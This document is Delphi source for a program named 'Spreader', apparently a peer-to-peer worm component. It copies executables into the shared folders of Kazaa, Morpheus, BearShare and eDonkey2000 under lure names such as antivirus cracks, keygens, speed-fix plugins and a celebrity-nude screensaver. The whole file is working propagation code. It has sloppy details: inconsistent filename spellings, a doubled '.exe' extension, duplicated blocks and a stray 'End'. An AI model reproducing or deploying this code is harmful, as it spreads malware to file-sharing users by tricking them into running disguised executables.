program Spreader;

uses
  windows;

var
  Name: array [1..14] of string;
  i: integer;

begin
  Name[1]:='host_faker';
  Name[2]:='host_spoofer';
  Name[3]:='ip_spoofer';
  Name[4]:='ip_faker';
  Name[5]:='ident_spoofer';
  Name[6]:='Norten Antivirus Crack.exe';
  Name[7]:='Jennifer Lopez Nude.scr';
  Name[8]:='Kaza Super Fast Fix.exe';
  Name[9]:='Anti Spam Plugin.exe';
  Name[10]:='Edonkey Fix for 35.16.62.exe';
  Name[11]:='Overnet Full Speed Plugin.exe';
  Name[12]:='Panda Antivirus Crack.exe';
  Name[13]:='PC-Cillin Crack.exe';
  Name[14]:='Delphi 7 Keygen.exe';
  

  for i:=1 to 14 do begin
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\program files\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\program files\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\program files\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\program files\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\programmes\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\programme\morpheus\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\programme\kazaa\my shared folder\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\programme\bearshare\shared\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_faker.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ip_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('host_faker.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Norten Antivirus Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Jenifer Lopez Nude.scr'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.scr'),false);
    CopyFile(PChar('Kaza Super Fast Fix.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Anti Spam Plugin.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Edonkey Fix for 35.16.62.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false); 
    CopyFile(PChar('Overnet Full Speed Plugin.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Panda Antivirus Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('PC-Cillin Crack.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('Delphi 7 Keygen.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
    CopyFile(PChar('ident_spoofer.exe'),PChar('c:\programme\eDonkey2000\incoming\'+Name[i]+'.exe'),false);
  end;
  End
end.

